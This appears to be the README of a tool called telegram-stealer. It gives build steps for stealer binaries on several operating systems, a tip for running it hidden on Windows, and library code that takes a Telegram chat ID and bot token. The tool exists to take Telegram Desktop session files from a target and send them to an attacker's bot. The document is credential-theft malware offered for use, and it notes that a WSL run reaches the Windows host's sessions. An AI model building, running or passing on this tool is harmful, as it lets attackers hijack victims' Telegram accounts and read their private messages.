Steal Telegram Desktop sessions.
Check Waifu Stealer (Stealer builder: Discord, Telegram, Browsers, ...)
If the stealer is started inside WSL, it will get the Telegram Desktop sessions from its Windows host.
Note: If the target configured a local password in Telegram Desktop, the sessions will be encrypted, so you would need the password to unlock it.
Telegram.exe
running process to find its path (Windows or WSL only)AES-256-GCM
Install dependencies
npm i -D
npm i -g pkg
Build
npm run build <chat_id> <bot_token>
# Create the stealer binary, choose target system and architecture
npm run pkg-windows
npm run pkg-linux
npm run pkg-linux-arm
npm run pkg-macos
npm run pkg-macos-arm
Run the hello
binary.
To hide the console window on a Windows machine, you can run the script using the provided VB script (see run_hidden_windows.vbs
).
npm install https://github.com/rigwild/telegram-stealer.git
import { run as stealTelegram } from 'telegram-stealer'
type StealTelegram = ({
telegramChatId: string,
telegramToken: string,
archivePassword?: string
}) => Promise<void>
await stealTelegram({
telegramChatId: '1234567890',
telegramToken: '12345678:EEExreg_CKLviTXNwTTfc-UdcStDOPfqFoMQ',
archivePassword: 'rigwild/telegram-stealer'
})